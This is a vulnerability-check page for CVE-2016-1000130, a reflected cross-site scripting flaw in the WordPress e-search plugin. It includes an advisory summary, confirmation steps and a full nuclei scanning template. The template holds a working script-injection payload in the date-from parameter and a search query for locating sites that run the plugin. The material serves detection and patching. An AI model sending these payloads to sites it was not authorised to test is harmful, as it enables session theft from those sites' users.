WordPress e-search <=1.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.

Fix

Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability.

How to confirm it

Send: GET /wp-content/plugins/e-search/readme.txt
Positive when: contains "Search" and "Tags:" and "Tested up to:"
Send: GET {{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2016-1000130 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-1000130

info:
  name: WordPress e-search <=1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Wordpress plugin e-search 1.0 and before contains a cross-site scripting vulnerability via date_select.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress e-search plugin to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/e-search
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=394
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000130
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000130
    cwe-id: CWE-79
    epss-score: 0.02897
    epss-percentile: 0.87047
    cpe: cpe:2.3:a:e-search_project:e-search:1.0:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "e-search_project"
    product: "e-search"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/e-search\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,e-search_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/e-search/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'Search'
          - 'Tags:'
          - 'Tested up to:'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

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